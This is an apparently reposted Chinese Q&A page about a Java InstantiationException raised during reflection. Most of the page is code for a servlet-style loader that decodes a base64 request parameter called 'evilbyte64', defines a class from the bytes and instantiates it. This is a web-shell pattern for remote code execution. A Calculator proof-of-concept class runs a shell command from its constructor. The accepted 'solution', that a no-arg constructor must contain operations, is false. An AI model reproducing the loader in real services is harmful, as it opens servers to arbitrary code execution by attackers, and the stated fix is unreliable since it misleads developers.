问答

反射实例化报错java.lang.InstantiationException,大佬帮忙解答

作者:admin 2021-04-20 我要评论

需要实例化的类: package com.sorry.jcoffe.Debug.Reflection;public class Person { private String name; private int age; public Person() { } private Stri...

在说正事之前,我要推荐一个福利:你还在原价购买阿里云、腾讯云、华为云服务器吗?那太亏啦!来这里,新购、升级、续费都打折,能够为您省60%的钱呢!2核4G企业级云服务器低至69元/年,点击进去看看吧>>>)

需要实例化的类:

package com.sorry.jcoffe.Debug.Reflection;
public class Person {
    private String name;
    private int age;
    public Person() {
    }
    private String getName() {
        return name;
    }
    private int getAge() {
        return age;
    }
    private void setName(String name) {
        this.name = name;
    }
    private void setAge(int age) {
        this.age = age;
    }
}

实例化

String kk = req.getParameter("evilbyte64");
byte[] evil =new sun.misc.BASE64Decoder().decodeBuffer(kk);
Class evilClass = new customClassLoader().customDefineClass(evil);
Object evilObj = evilClass.newInstance();
Method method1 = evilObj.getClass().getDeclaredMethod("setName",String.class);
Method method2 = evilObj.getClass().getDeclaredMethod("setAge",int.class);
Method method3 = evilObj.getClass().getDeclaredMethod("getName");
method1.setAccessible(true);
method2.setAccessible(true);
method3.setAccessible(true);
method1.invoke(evilObj,"evil in request");
method2.invoke(evilObj,1);
String result = (String )method3.invoke(evilObj);

....
class customClassLoader extends ClassLoader{
    public Class customDefineClass(byte[] evilbytes){
        return super.defineClass(evilbytes,0,evilbytes.length);
    }
}

网上是说没有无参构造类,但我是写了的.
换了一个类是能够反射实例化的并调用方法的

package com.sorry.jcoffe.Utils.Class2Bytes;
import java.io.IOException;
import java.util.Scanner;
public class Calculator {
    //definecalss取对象的时候会默认调用无参构造函数
 public Calculator(){
        java.lang.ProcessBuilder p;
        p = new java.lang.ProcessBuilder("/bin/sh","-c","open /System/Applications/Calculator.app");
        try {
            Scanner scanner = new Scanner(p.start().getInputStream().toString()).useDelimiter("A");
        } catch (IOException e) {
            e.printStackTrace();
        }
        System.out.println("define class successful!");
    }
    public void echo(){
        System.out.println("this will not be init");
    }
    public static void main(String[] args) {
        Calculator c = new Calculator();
    }
}

image.png

已解决

反射用newInstance实例化的时候不仅要有无参构造函数,里面还要有操作.

版权声明:本文转载自网络,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。本站转载出于传播更多优秀技术知识之目的,如有侵权请联系QQ/微信:153890879删除

相关文章
  • nginx响应速度很慢

    nginx响应速度很慢

  • 点击选中的多选框,会在已选那一栏显示

    点击选中的多选框,会在已选那一栏显示

  • PHP 多态的理解

    PHP 多态的理解

  • 关于C语言中static的问题

    关于C语言中static的问题

腾讯云代理商
海外云服务器